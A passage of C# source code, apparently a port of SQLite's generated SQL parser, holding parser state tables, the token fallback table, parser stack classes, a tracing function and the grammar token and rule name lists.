20 */ 87, 88, 89, 90, 26, 27, 160, 26, 27, 48, /* 30 */ 49, 79, 80, 81, 82, 83, 84, 85, 86, 87, /* 40 */ 88, 89, 90, 222, 223, 224, 225, 66, 67, 68, /* 50 */ 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, /* 60 */ 194, 80, 81, 82, 83, 84, 85, 86, 87, 88, /* 70 */ 89, 90, 19, 90, 19, 94, 174, 25, 25, 80, /* 80 */ 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, /* 90 */ 26, 27, 94, 95, 96, 94, 95, 99, 100, 101, /* 100 */ 19, 48, 49, 150, 174, 52, 119, 166, 110, 84, /* 110 */ 85, 86, 87, 88, 89, 90, 26, 27, 165, 66, /* 120 */ 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, /* 130 */ 77, 78, 186, 80, 81, 82, 83, 84, 85, 86, /* 140 */ 87, 88, 89, 90, 19, 90, 205, 95, 84, 85, /* 150 */ 186, 96, 97, 98, 99, 100, 101, 102, 94, 95, /* 160 */ 195, 97, 150, 222, 109, 224, 225, 26, 104, 105, /* 170 */ 217, 90, 120, 48, 49, 50, 86, 165, 97, 98, /* 180 */ 99, 100, 101, 102, 94, 95, 174, 175, 1, 2, /* 190 */ 109, 66, 67, 68, 69, 70, 71, 72, 73, 74, /* 200 */ 75, 76, 77, 78, 191, 80, 81, 82, 83, 84, /* 210 */ 85, 86, 87, 88, 89, 90, 19, 116, 35, 150, /* 220 */ 12, 24, 208, 150, 222, 150, 224, 225, 216, 128, /* 230 */ 161, 162, 150, 221, 165, 94, 28, 150, 165, 56, /* 240 */ 165, 197, 160, 170, 171, 48, 49, 165, 204, 174, /* 250 */ 175, 43, 165, 45, 185, 186, 174, 175, 169, 170, /* 260 */ 171, 174, 175, 66, 67, 68, 69, 70, 71, 72, /* 270 */ 73, 74, 75, 76, 77, 78, 194, 80, 81, 82, /* 280 */ 83, 84, 85, 86, 87, 88, 89, 90, 19, 214, /* 290 */ 215, 108, 150, 25, 148, 150, 64, 22, 216, 24, /* 300 */ 146, 147, 215, 221, 231, 232, 152, 165, 154, 150, /* 310 */ 165, 49, 170, 171, 160, 181, 182, 48, 49, 174, /* 320 */ 175, 232, 188, 165, 165, 21, 94, 0, 1, 2, /* 330 */ 98, 55, 174, 174, 175, 66, 67, 68, 69, 70, /* 340 */ 71, 72, 73, 74, 75, 76, 77, 78, 194, 80, /* 350 */ 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, /* 360 */ 19, 129, 130, 131, 96, 61, 104, 99, 100, 101, /* 370 */ 150, 226, 218, 231, 232, 216, 150, 196, 110, 26, /* 380 */ 27, 105, 106, 107, 158, 165, 183, 161, 162, 48, /* 390 */ 49, 165, 116, 166, 174, 175, 86, 87, 88, 89, /* 400 */ 90, 247, 84, 85, 100, 136, 183, 66, 67, 68, /* 410 */ 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, /* 420 */ 11, 80, 81, 82, 83, 84, 85, 86, 87, 88, /* 430 */ 89, 90, 19, 183, 150, 222, 23, 224, 225, 237, /* 440 */ 220, 150, 138, 24, 160, 26, 22, 94, 95, 165, /* 450 */ 26, 27, 26, 27, 89, 90, 165, 244, 174, 175, /* 460 */ 236, 48, 49, 22, 55, 174, 175, 26, 27, 22, /* 470 */ 23, 163, 25, 120, 166, 167, 168, 136, 194, 66, /* 480 */ 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, /* 490 */ 77, 78, 153, 80, 81, 82, 83, 84, 85, 86, /* 500 */ 87, 88, 89, 90, 19, 196, 160, 150, 23, 173, /* 510 */ 198, 220, 65, 94, 105, 106, 107, 181, 94, 95, /* 520 */ 94, 95, 165, 96, 150, 116, 99, 100, 101, 31, /* 530 */ 150, 174, 175, 48, 49, 94, 95, 110, 40, 165, /* 540 */ 194, 161, 162, 166, 160, 165, 120, 166, 174, 175, /* 550 */ 233, 66, 67, 68, 69, 70, 71, 72, 73, 74, /* 560 */ 75, 76, 77, 78, 218, 80, 81, 82, 83, 84, /* 570 */ 85, 86, 87, 88, 89, 90, 19, 12, 194, 150, /* 580 */ 23, 235, 205, 166, 167, 168, 240, 150, 172, 173, /* 590 */ 206, 207, 150, 28, 165, 190, 191, 181, 23, 150, /* 600 */ 48, 49, 165, 174, 175, 48, 49, 165, 43, 233, /* 610 */ 45, 174, 175, 135, 165, 137, 174, 175, 190, 191, /* 620 */ 55, 69, 70, 66, 67, 68, 69, 70, 71, 72, /* 630 */ 73, 74, 75, 76, 77, 78, 150, 80, 81, 82, /* 640 */ 83, 84, 85, 86, 87, 88, 89, 90, 19, 150, /* 650 */ 98, 165, 23, 250, 251, 150, 155, 150, 19, 22, /* 660 */ 174, 175, 213, 26, 165, 169, 170, 171, 23, 150, /* 670 */ 165, 150, 165, 174, 175, 19, 150, 48, 49, 174, /* 680 */ 175, 174, 175, 27, 165, 228, 165, 112, 49, 114, /* 690 */ 115, 165, 177, 174, 175, 66, 67, 68, 69, 70, /* 700 */ 71, 72, 73, 74, 75, 76, 77, 78, 150, 80, /* 710 */ 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, /* 720 */ 19, 150, 23, 165, 25, 24, 150, 150, 232, 150, /* 730 */ 229, 94, 174, 175, 213, 234, 165, 25, 150, 150, /* 740 */ 150, 165, 165, 104, 165, 174, 175, 177, 109, 48, /* 750 */ 49, 174, 175, 165, 165, 165, 19, 112, 22, 114, /* 760 */ 115, 177, 174, 175, 27, 16, 187, 66, 67, 68, /* 770 */ 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, /* 780 */ 150, 80, 81, 82, 83, 84, 85, 86, 87, 88, /* 790 */ 89, 90, 19, 150, 95, 165, 144, 145, 150, 150, /* 800 */ 150, 150, 113, 213, 174, 175, 117, 58, 165, 60, /* 810 */ 74, 23, 150, 165, 165, 165, 165, 174, 175, 120, /* 820 */ 19, 48, 49, 174, 175, 174, 175, 165, 209, 166, /* 830 */ 241, 22, 23, 166, 25, 187, 174, 175, 126, 66, /* 840 */ 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, /* 850 */ 77, 78, 150, 80, 81, 82, 83, 84, 85, 86, /* 860 */ 87, 88, 89, 90, 19, 150, 150, 165, 205, 182, /* 870 */ 86, 150, 205, 150, 65, 166, 174, 175, 206, 207, /* 880 */ 165, 165, 177, 150, 23, 25, 165, 138, 165, 174, /* 890 */ 175, 241, 166, 48, 49, 174, 175, 113, 165, 98, /* 900 */ 112, 117, 114, 115, 7, 8, 9, 174, 175, 193, /* 910 */ 187, 66, 67, 68, 69, 70, 71, 72, 73, 74, /* 920 */ 75, 76, 77, 78, 150, 80, 81, 82, 83, 84, /* 930 */ 85, 86, 87, 88, 89, 90, 19, 150, 97, 165, /* 940 */ 160, 150, 177, 150, 150, 150, 248, 249, 174, 175, /* 950 */ 97, 98, 165, 129, 130, 150, 165, 116, 165, 165, /* 960 */ 165, 174, 175, 103, 178, 48, 49, 174, 175, 128, /* 970 */ 165, 98, 242, 112, 194, 114, 115, 199, 187, 174, /* 980 */ 175, 187, 109, 242, 67, 68, 69, 70, 71, 72, /* 990 */ 73, 74, 75, 76, 77, 78, 150, 80, 81, 82, /* 1000 */ 83, 84, 85, 86, 87, 88, 89, 90, 19, 150, /* 1010 */ 160, 165, 209, 150, 112, 150, 114, 115, 7, 8, /* 1020 */ 174, 175, 209, 6, 165, 29, 199, 150, 165, 33, /* 1030 */ 165, 150, 149, 174, 175, 150, 241, 48, 49, 174, /* 1040 */ 175, 149, 165, 47, 194, 149, 165, 16, 160, 149, /* 1050 */ 165, 174, 175, 13, 151, 174, 175, 68, 69, 70, /* 1060 */ 71, 72, 73, 74, 75, 76, 77, 78, 218, 80, /* 1070 */ 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, /* 1080 */ 19, 20, 194, 22, 150, 150, 150, 26, 27, 58, /* 1090 */ 240, 60, 150, 160, 151, 19, 20, 36, 22, 165, /* 1100 */ 165, 165, 26, 27, 22, 23, 150, 165, 174, 175, /* 1110 */ 174, 175, 36, 150, 25, 54, 150, 150, 150, 150, /* 1120 */ 23, 165, 25, 159, 150, 64, 194, 194, 165, 199, /* 1130 */ 54, 165, 165, 165, 165, 193, 150, 174, 175, 165, /* 1140 */ 64, 174, 175, 174, 175, 84, 85, 65, 150, 193, /* 1150 */ 126, 165, 217, 150, 93, 94, 95, 123, 200, 98, /* 1160 */ 84, 85, 86, 165, 105, 106, 107, 193, 165, 93, /* 1170 */ 94, 95, 174, 175, 98, 5, 23, 116, 25, 193, /* 1180 */ 10, 11, 12, 13, 14, 201, 23, 17, 25, 150, /* 1190 */ 129, 130, 131, 132, 133, 134, 193, 150, 125, 124, /* 1200 */ 30, 245, 32, 150, 165, 129, 130, 131, 132, 133, /* 1210 */ 134, 41, 165, 19, 20, 122, 22, 202, 165, 150, /* 1220 */ 26, 27, 150, 53, 150, 55, 160, 174, 175, 59, /* 1230 */ 36, 22, 62, 203, 165, 26, 27, 165, 150, 165, /* 1240 */ 193, 150, 105, 106, 107, 135, 174, 175, 54, 150, /* 1250 */ 150, 150, 227, 165, 22, 23, 165, 150, 64, 150, /* 1260 */ 194, 118, 174, 175, 165, 165, 165, 193, 150, 157, /* 1270 */ 150, 157, 165, 64, 165, 105, 106, 107, 84, 85, /* 1280 */ 23, 111, 25, 165, 193, 165, 116, 93, 94, 95, /* 1290 */ 150, 150, 98, 84, 85, 150, 150, 65, 150, 150, /* 1300 */ 150, 104, 150, 94, 150, 165, 165, 98, 210, 139, /* 1310 */ 165, 165, 210, 165, 165, 165, 150, 165, 150, 165, /* 1320 */ 121, 150, 150, 129, 130, 131, 132, 133, 134, 210, /* 1330 */ 150, 165, 150, 165, 150, 150, 165, 165, 129, 130, /* 1340 */ 131, 150, 150, 150, 211, 165, 150, 165, 104, 165, /* 1350 */ 165, 23, 23, 25, 25, 211, 165, 165, 165, 176, /* 1360 */ 23, 165, 25, 23, 23, 25, 25, 23, 211, 25, /* 1370 */ 46, 176, 184, 103, 176, 22, 90, 176, 178, 18, /* 1380 */ 176, 179, 176, 176, 179, 230, 230, 184, 157, 156, /* 1390 */ 156, 44, 157, 156, 135, 157, 157, 238, 156, 239, /* 1400 */ 157, 66, 189, 189, 22, 219, 157, 199, 18, 192, /* 1410 */ 192, 192, 192, 189, 199, 157, 39, 243, 243, 157, /* 1420 */ 157, 37, 246, 1, 164, 180, 180, 249, 15, 219, /* 1430 */ 23, 252, 22, 252, 118, 118, 118, 118, 118, 113, /* 1440 */ 98, 22, 11, 23, 23, 22, 22, 120, 23, 34, /* 1450 */ 23, 25, 23, 25, 118, 25, 22, 102, 50, 23, /* 1460 */ 23, 22, 27, 22, 50, 23, 34, 34, 22, 22, /* 1470 */ 22, 109, 19, 24, 20, 104, 38, 25, 104, 22, /* 1480 */ 5, 138, 1, 118, 34, 42, 27, 108, 22, 119, /* 1490 */ 50, 74, 74, 127, 1, 16, 51, 121, 20, 119, /* 1500 */ 108, 57, 51, 128, 22, 127, 23, 23, 16, 15, /* 1510 */ 22, 3, 140, 4, 253, 253, 253, 253, 63, }; const int YY_SHIFT_USE_DFLT = (-111); const int YY_SHIFT_MAX = 415; static short[] yy_shift_ofst = new short[]{ /* 0 */ 187, 1061, 1170, 1061, 1194, 1194, -2, 64, 64, -19, /* 10 */ 1194, 1194, 1194, 1194, 1194, 276, 1, 125, 1076, 1194, /* 20 */ 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, /* 30 */ 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, /* 40 */ 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, /* 50 */ 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, -48, /* 60 */ 409, 1, 1, 141, 318, 318, -110, 53, 197, 269, /* 70 */ 341, 413, 485, 557, 629, 701, 773, 845, 773, 773, /* 80 */ 773, 773, 773, 773, 773, 773, 773, 773, 773, 773, /* 90 */ 773, 773, 773, 773, 773, 773, 917, 989, 989, -67, /* 100 */ -67, -1, -1, 55, 25, 310, 1, 1, 1, 1, /* 110 */ 1, 639, 304, 1, 1, 1, 1, 1, 1, 1, /* 120 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 365, /* 130 */ 141, -17, -111, -111, -111, 1209, 81, 424, 353, 426, /* 140 */ 441, 90, 565, 565, 1, 1, 1, 1, 1, 1, /* 150 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 160 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 170 */ 1, 1, 1, 1, 1, 1, 447, 809, 327, 419, /* 180 */ 419, 419, 841, 101, -110, -110, -110, -111, -111, -111, /* 190 */ 232, 232, 268, 427, 575, 645, 788, 208, 861, 699, /* 200 */ 897, 784, 637, 52, 183, 183, 183, 902, 902, 996, /* 210 */ 1059, 902, 902, 902, 902, 275, 689, -13, 141, 824, /* 220 */ 824, 478, 498, 498, 656, 498, 262, 498, 141, 498, /* 230 */ 141, 860, 737, 712, 737, 656, 656, 712, 1017, 1017, /* 240 */ 1017, 1017, 1040, 1040, 1089, -110, 1024, 1034, 1075, 1093, /* 250 */ 1073, 1110, 1143, 1143, 1197, 1199, 1197, 1199, 1197, 1199, /* 260 */ 1244, 1244, 1324, 1244, 1270, 1244, 1353, 1286, 1286, 1324, /* 270 */ 1244, 1244, 1244, 1353, 1361, 1143, 1361, 1143, 1361, 1143, /* 280 */ 1143, 1347, 1259, 1361, 1143, 1335, 1335, 1382, 1024, 1143, /* 290 */ 1390, 1390, 1390, 1390, 1024, 1335, 1382, 1143, 1377, 1377, /* 300 */ 1143, 1143, 1384, -111, -111, -111, -111, -111, -111, 552, /* 310 */ 749, 1137, 1031, 1082, 1232, 801, 1097, 1153, 873, 1011, /* 320 */ 853, 1163, 1257, 1328, 1329, 1337, 1340, 1341, 736, 1344, /* 330 */ 1422, 1413, 1407, 1410, 1316, 1317, 1318, 1319, 1320, 1342, /* 340 */ 1326, 1419, 1420, 1421, 1423, 1431, 1424, 1425, 1426, 1427, /* 350 */ 1429, 1428, 1415, 1430, 1432, 1428, 1327, 1434, 1433, 1435, /* 360 */ 1336, 1436, 1437, 1438, 1408, 1439, 1414, 1441, 1442, 1446, /* 370 */ 1447, 1440, 1448, 1355, 1362, 1453, 1454, 1449, 1371, 1443, /* 380 */ 1444, 1445, 1452, 1451, 1343, 1374, 1457, 1475, 1481, 1365, /* 390 */ 1450, 1459, 1379, 1417, 1418, 1366, 1466, 1370, 1493, 1479, /* 400 */ 1376, 1478, 1380, 1392, 1378, 1482, 1375, 1483, 1484, 1492, /* 410 */ 1455, 1494, 1372, 1488, 1508, 1509, }; const int YY_REDUCE_USE_DFLT = (-180); const int YY_REDUCE_MAX = 308; static short[] yy_reduce_ofst = new short[]{ /* 0 */ -141, 82, 154, 284, 12, 75, 69, 73, 142, -59, /* 10 */ 145, 87, 159, 220, 291, 346, 226, 213, 357, 374, /* 20 */ 429, 437, 442, 486, 499, 505, 507, 519, 558, 571, /* 30 */ 577, 588, 630, 643, 649, 651, 662, 702, 715, 721, /* 40 */ 733, 774, 787, 793, 805, 846, 859, 865, 877, 881, /* 50 */ 934, 936, 963, 967, 969, 998, 1053, 1072, 1088, -179, /* 60 */ 850, 956, 380, 308, 89, 496, 384, 2, 2, 2, /* 70 */ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, /* 80 */ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, /* 90 */ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, /* 100 */ 2, 2, 2, 416, 2, 2, 449, 579, 648, 723, /* 110 */ 791, 134, 501, 716, 521, 794, 589, -47, 650, 590, /* 120 */ 795, 942, 974, 986, 1003, 1047, 1074, 935, 1091, 2, /* 130 */ 417, 2, 2, 2, 2, 158, 336, 526, 576, 863, /* 140 */ 885, 966, 405, 428, 968, 1039, 1069, 1099, 1100, 966, /* 150 */ 1101, 1107, 1109, 1118, 1120, 1140, 1141, 1145, 1146, 1148, /* 160 */ 1149, 1150, 1152, 1154, 1166, 1168, 1171, 1172, 1180, 1182, /* 170 */ 1184, 1185, 1191, 1192, 1193, 1196, 403, 403, 652, 377, /* 180 */ 663, 667, -134, 780, 888, 933, 1066, 44, 672, 698, /* 190 */ -98, -70, -54, -36, -35, -35, -35, 13, -35, 14, /* 200 */ 146, 181, 227, 14, 203, 223, 250, -35, -35, 224, /* 210 */ 202, -35, -35, -35, -35, 339, 309, 312, 381, 317, /* 220 */ 376, 457, 515, 570, 619, 584, 687, 705, 709, 765, /* 230 */ 726, 786, 730, 778, 741, 803, 813, 827, 883, 892, /* 240 */ 896, 900, 903, 943, 964, 932, 930, 958, 984, 1015, /* 250 */ 1030, 1025, 1112, 1114, 1098, 1133, 1102, 1144, 1119, 1157, /* 260 */ 1183, 1195, 1188, 1198, 1200, 1201, 1202, 1155, 1156, 1203, /* 270 */ 1204, 1206, 1207, 1205, 1233, 1231, 1234, 1235, 1237, 1238, /* 280 */ 1239, 1159, 1160, 1242, 1243, 1213, 1214, 1186, 1208, 1249, /* 290 */ 1217, 1218, 1219, 1220, 1215, 1224, 1210, 1258, 1174, 1175, /* 300 */ 1262, 1263, 1176, 1260, 1245, 1246, 1178, 1179, 1181, }; static YYACTIONTYPE[] yy_default = new YYACTIONTYPE[] { /* 0 */ 634, 869, 958, 958, 869, 958, 958, 898, 898, 757, /* 10 */ 867, 958, 958, 958, 958, 958, 958, 932, 958, 958, /* 20 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 30 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 40 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 50 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 841, /* 60 */ 958, 958, 958, 673, 898, 898, 761, 792, 958, 958, /* 70 */ 958, 958, 958, 958, 958, 958, 793, 958, 871, 866, /* 80 */ 862, 864, 863, 870, 794, 783, 790, 797, 772, 911, /* 90 */ 799, 800, 806, 807, 933, 931, 829, 828, 847, 831, /* 100 */ 853, 830, 840, 665, 832, 833, 958, 958, 958, 958, /* 110 */ 958, 726, 660, 958, 958, 958, 958, 958, 958, 958, /* 120 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 834, /* 130 */ 958, 835, 848, 849, 850, 958, 958, 958, 958, 958, /* 140 */ 958, 958, 958, 958, 640, 958, 958, 958, 958, 958, /* 150 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 160 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 170 */ 958, 882, 958, 936, 938, 958, 958, 958, 634, 757, /* 180 */ 757, 757, 958, 958, 958, 958, 958, 751, 761, 950, /* 190 */ 958, 958, 717, 958, 958, 958, 958, 958, 958, 958, /* 200 */ 642, 749, 675, 759, 958, 958, 958, 662, 738, 904, /* 210 */ 958, 923, 921, 740, 802, 958, 749, 758, 958, 958, /* 220 */ 958, 865, 786, 786, 774, 786, 696, 786, 958, 786, /* 230 */ 958, 699, 916, 796, 916, 774, 774, 796, 639, 639, /* 240 */ 639, 639, 650, 650, 716, 958, 796, 787, 789, 779, /* 250 */ 791, 958, 765, 765, 773, 778, 773, 778, 773, 778, /* 260 */ 728, 728, 713, 728, 699, 728, 875, 879, 879, 713, /* 270 */ 728, 728, 728, 875, 657, 765, 657, 765, 657, 765, /* 280 */ 765, 908, 910, 657, 765, 730, 730, 808, 796, 765, /* 290 */ 737, 737, 737, 737, 796, 730, 808, 765, 935, 935, /* 300 */ 765, 765, 943, 683, 701, 701, 950, 955, 955, 958, /* 310 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 320 */ 958, 958, 958, 958, 958, 958, 958, 958, 884, 958, /* 330 */ 958, 648, 958, 667, 815, 820, 816, 958, 817, 958, /* 340 */ 743, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 350 */ 958, 868, 958, 780, 958, 788, 958, 958, 958, 958, /* 360 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 370 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 380 */ 958, 906, 907, 958, 958, 958, 958, 958, 958, 914, /* 390 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 400 */ 958, 958, 958, 958, 958, 958, 958, 958, 958, 958, /* 410 */ 942, 958, 958, 945, 635, 958, 630, 632, 633, 637, /* 420 */ 638, 641, 667, 668, 670, 671, 672, 643, 644, 645, /* 430 */ 646, 647, 649, 653, 651, 652, 654, 661, 663, 682, /* 440 */ 684, 686, 747, 748, 812, 741, 742, 746, 669, 823, /* 450 */ 814, 818, 819, 821, 822, 836, 837, 839, 845, 852, /* 460 */ 855, 838, 843, 844, 846, 851, 854, 744, 745, 858, /* 470 */ 676, 677, 680, 681, 894, 896, 895, 897, 679, 678, /* 480 */ 824, 827, 860, 861, 924, 925, 926, 927, 928, 856, /* 490 */ 766, 859, 842, 781, 784, 785, 782, 750, 760, 768, /* 500 */ 769, 770, 771, 755, 756, 762, 777, 810, 811, 775, /* 510 */ 776, 763, 764, 752, 753, 754, 857, 813, 825, 826, /* 520 */ 687, 688, 820, 689, 690, 691, 729, 732, 733, 734, /* 530 */ 692, 711, 714, 715, 693, 700, 694, 695, 702, 703, /* 540 */ 704, 707, 708, 709, 710, 705, 706, 876, 877, 880, /* 550 */ 878, 697, 698, 712, 685, 674, 666, 718, 721, 722, /* 560 */ 723, 724, 725, 727, 719, 720, 664, 655, 658, 767, /* 570 */ 900, 909, 905, 901, 902, 903, 659, 872, 873, 731, /* 580 */ 804, 805, 899, 912, 915, 917, 918, 919, 809, 920, /* 590 */ 922, 913, 947, 656, 735, 736, 739, 881, 929, 795, /* 600 */ 798, 801, 803, 883, 885, 887, 889, 890, 891, 892, /* 610 */ 893, 886, 888, 930, 934, 937, 939, 940, 941, 944, /* 620 */ 946, 951, 952, 953, 956, 957, 954, 636, 631, }; static int YY_SZ_ACTTAB = yy_action.Length;//(int)(yy_action.Length/sizeof(yy_action[0])) /* The next table maps tokens into fallback tokens. If a construct ** like the following: ** ** %fallback ID X Y Z. ** ** appears in the grammar, then ID becomes a fallback token for X, Y, ** and Z. Whenever one of the tokens X, Y, or Z is input to the parser ** but it does not parse, the type of the token is changed to ID and ** the parse is retried before an error is thrown. */ #if YYFALLBACK static YYCODETYPE[] yyFallback = new YYCODETYPE[]{ 0, /* $ => nothing */ 0, /* SEMI => nothing */ 26, /* EXPLAIN => ID */ 26, /* QUERY => ID */ 26, /* PLAN => ID */ 26, /* BEGIN => ID */ 0, /* TRANSACTION => nothing */ 26, /* DEFERRED => ID */ 26, /* IMMEDIATE => ID */ 26, /* EXCLUSIVE => ID */ 0, /* COMMIT => nothing */ 26, /* END => ID */ 26, /* ROLLBACK => ID */ 26, /* SAVEPOINT => ID */ 26, /* RELEASE => ID */ 0, /* TO => nothing */ 0, /* TABLE => nothing */ 0, /* CREATE => nothing */ 26, /* IF => ID */ 0, /* NOT => nothing */ 0, /* EXISTS => nothing */ 26, /* TEMP => ID */ 0, /* LP => nothing */ 0, /* RP => nothing */ 0, /* AS => nothing */ 0, /* COMMA => nothing */ 0, /* ID => nothing */ 0, /* INDEXED => nothing */ 26, /* ABORT => ID */ 26, /* AFTER => ID */ 26, /* ANALYZE => ID */ 26, /* ASC => ID */ 26, /* ATTACH => ID */ 26, /* BEFORE => ID */ 26, /* BY => ID */ 26, /* CASCADE => ID */ 26, /* CAST => ID */ 26, /* COLUMNKW => ID */ 26, /* CONFLICT => ID */ 26, /* DATABASE => ID */ 26, /* DESC => ID */ 26, /* DETACH => ID */ 26, /* EACH => ID */ 26, /* FAIL => ID */ 26, /* FOR => ID */ 26, /* IGNORE => ID */ 26, /* INITIALLY => ID */ 26, /* INSTEAD => ID */ 26, /* LIKE_KW => ID */ 26, /* MATCH => ID */ 26, /* KEY => ID */ 26, /* OF => ID */ 26, /* OFFSET => ID */ 26, /* PRAGMA => ID */ 26, /* RAISE => ID */ 26, /* REPLACE => ID */ 26, /* RESTRICT => ID */ 26, /* ROW => ID */ 26, /* TRIGGER => ID */ 26, /* VACUUM => ID */ 26, /* VIEW => ID */ 26, /* VIRTUAL => ID */ 26, /* REINDEX => ID */ 26, /* RENAME => ID */ 26, /* CTIME_KW => ID */ }; #endif // * YYFALLBACK */ /* The following structure represents a single element of the ** parser's stack. Information stored includes: ** ** + The state number for the parser at this level of the stack. ** ** + The value of the token stored at this level of the stack. ** (In other words, the "major" token.) ** ** + The semantic value stored at this level of the stack. This is ** the information used by the action routines in the grammar. ** It is sometimes called the "minor" token. */ public class yyStackEntry { public YYACTIONTYPE stateno; /* The state-number */ public YYCODETYPE major; /* The major token value. This is the code ** number for the token at this stack level */ public YYMINORTYPE minor; /* The user-supplied minor token value. This ** is the value of the token */ }; //typedef struct yyStackEntry yyStackEntry; /* The state of the parser is completely contained in an instance of ** the following structure */ public class yyParser { public int yyidx; /* Index of top element in stack */ #if YYTRACKMAXSTACKDEPTH int yyidxMax; /* Maximum value of yyidx */ #endif public int yyerrcnt; /* Shifts left before out of the error */ public Parse pParse; // sqlite3ParserARG_SDECL /* A place to hold %extra_argument */ #if YYSTACKDEPTH//<=0 public int yystksz; /* Current side of the stack */ public yyStackEntry *yystack; /* The parser's stack */ #else public yyStackEntry[] yystack = new yyStackEntry[YYSTACKDEPTH]; /* The parser's stack */ #endif }; //typedef struct yyParser yyParser; #if !NDEBUG //#include static TextWriter yyTraceFILE = null; static string yyTracePrompt = ""; #endif // * NDEBUG */ #if !NDEBUG /* ** Turn parser tracing on by giving a stream to which to write the trace ** and a prompt to preface each trace message. Tracing is turned off ** by making either argument NULL ** ** Inputs: **
      **
    • A FILE* to which trace output should be written. ** If NULL, then tracing is turned off. **
    • A prefix string written at the beginning of every ** line of trace output. If NULL, then tracing is ** turned off. **
    ** ** Outputs: ** None. */ static void sqlite3ParserTrace(TextWriter TraceFILE, string zTracePrompt) { yyTraceFILE = TraceFILE; yyTracePrompt = zTracePrompt; if (yyTraceFILE == null) yyTracePrompt = ""; else if (yyTracePrompt == "") yyTraceFILE = null; } #endif // * NDEBUG */ #if !NDEBUG /* For tracing shifts, the names of all terminals and nonterminals ** are required. The following table supplies these names */ static string[] yyTokenName = { "$", "SEMI", "EXPLAIN", "QUERY", "PLAN", "BEGIN", "TRANSACTION", "DEFERRED", "IMMEDIATE", "EXCLUSIVE", "COMMIT", "END", "ROLLBACK", "SAVEPOINT", "RELEASE", "TO", "TABLE", "CREATE", "IF", "NOT", "EXISTS", "TEMP", "LP", "RP", "AS", "COMMA", "ID", "INDEXED", "ABORT", "AFTER", "ANALYZE", "ASC", "ATTACH", "BEFORE", "BY", "CASCADE", "CAST", "COLUMNKW", "CONFLICT", "DATABASE", "DESC", "DETACH", "EACH", "FAIL", "FOR", "IGNORE", "INITIALLY", "INSTEAD", "LIKE_KW", "MATCH", "KEY", "OF", "OFFSET", "PRAGMA", "RAISE", "REPLACE", "RESTRICT", "ROW", "TRIGGER", "VACUUM", "VIEW", "VIRTUAL", "REINDEX", "RENAME", "CTIME_KW", "ANY", "OR", "AND", "IS", "BETWEEN", "IN", "ISNULL", "NOTNULL", "NE", "EQ", "GT", "LE", "LT", "GE", "ESCAPE", "BITAND", "BITOR", "LSHIFT", "RSHIFT", "PLUS", "MINUS", "STAR", "SLASH", "REM", "CONCAT", "COLLATE", "UMINUS", "UPLUS", "BITNOT", "STRING", "JOIN_KW", "CONSTRAINT", "DEFAULT", "NULL", "PRIMARY", "UNIQUE", "CHECK", "REFERENCES", "AUTOINCR", "ON", "DELETE", "UPDATE", "INSERT", "SET", "DEFERRABLE", "FOREIGN", "DROP", "UNION", "ALL", "EXCEPT", "INTERSECT", "SELECT", "DISTINCT", "DOT", "FROM", "JOIN", "USING", "ORDER", "GROUP", "HAVING", "LIMIT", "WHERE", "INTO", "VALUES", "INTEGER", "FLOAT", "BLOB", "REGISTER", "VARIABLE", "CASE", "WHEN", "THEN", "ELSE", "INDEX", "ALTER", "ADD", "error", "input", "cmdlist", "ecmd", "explain", "cmdx", "cmd", "transtype", "trans_opt", "nm", "savepoint_opt", "create_table", "create_table_args", "createkw", "temp", "ifnotexists", "dbnm", "columnlist", "conslist_opt", "select", "column", "columnid", "type", "carglist", "id", "ids", "typetoken", "typename", "signed", "plus_num", "minus_num", "carg", "ccons", "term", "expr", "onconf", "sortorder", "autoinc", "idxlist_opt", "refargs", "defer_subclause", "refarg", "refact", "init_deferred_pred_opt", "conslist", "tcons", "idxlist", "defer_subclause_opt", "orconf", "resolvetype", "raisetype", "ifexists", "fullname", "oneselect", "multiselect_op", "distinct", "selcollist", "from", "where_opt", "groupby_opt", "having_opt", "orderby_opt", "limit_opt", "sclp", "as", "seltablist", "stl_prefix", "joinop", "indexed_opt", "on_opt", "using_opt", "joinop2", "inscollist", "sortlist", "sortitem", "nexprlist", "setlist", "insert_cmd", "inscollist_opt", "itemlist", "exprlist", "likeop", "escape", "between_op", "in_op", "case_operand", "case_exprlist", "case_else", "uniqueflag", "collate", "nmnum", "plus_opt", "number", "trigger_decl", "trigger_cmd_list", "trigger_time", "trigger_event", "foreach_clause", "when_clause", "trigger_cmd", "trnm", "tridxby", "database_kw_opt", "key_opt", "add_column_fullname", "kwcolumn_opt", "create_vtab", "vtabarglist", "vtabarg", "vtabargtoken", "lp", "anylist", }; #endif // * NDEBUG */ #if !NDEBUG /* For tracing reduce actions, the names of all rules are required. */ static string[] yyRuleName = { /* 0 */ "input ::= cmdlist", /* 1 */ "cmdlist ::= cmdlist ecmd", /* 2 */ "cmdlist ::= ecmd", /* 3 */ "ecmd ::= SEMI", /* 4 */ "ecmd 